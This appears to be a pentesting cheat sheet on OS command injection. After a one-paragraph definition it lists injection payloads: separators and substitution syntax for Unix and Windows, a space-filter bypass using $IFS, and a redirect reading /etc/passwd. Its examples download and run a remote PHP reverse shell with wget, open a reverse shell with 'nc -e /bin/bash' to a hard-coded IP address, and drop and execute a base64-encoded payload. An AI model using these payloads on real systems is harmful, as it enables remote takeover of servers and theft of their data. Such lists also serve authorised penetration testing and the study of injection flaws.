Command Injection

What is command Injection?

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From here).

Context

Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.

Command Injection/Execution

Both Unix and Windows supported

ls||id; ls ||id; ls|| id; ls || id # Execute both

ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)

ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok

ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º

ls %0A id # %0A Execute both (RECOMMENDED)

Only unix supported

`ls` # ``

$(ls) # $()

ls; id # ; Chain commands

ls${LS_COLORS:10:1}${IFS}id # Might be useful

Not executed but may be interesting

> /var/www/html/out.txt #Try to redirect the output to a file

< /etc/passwd #Try to send some input to the command

Limition Bypasses

If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:

Examples

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php

vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80

vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
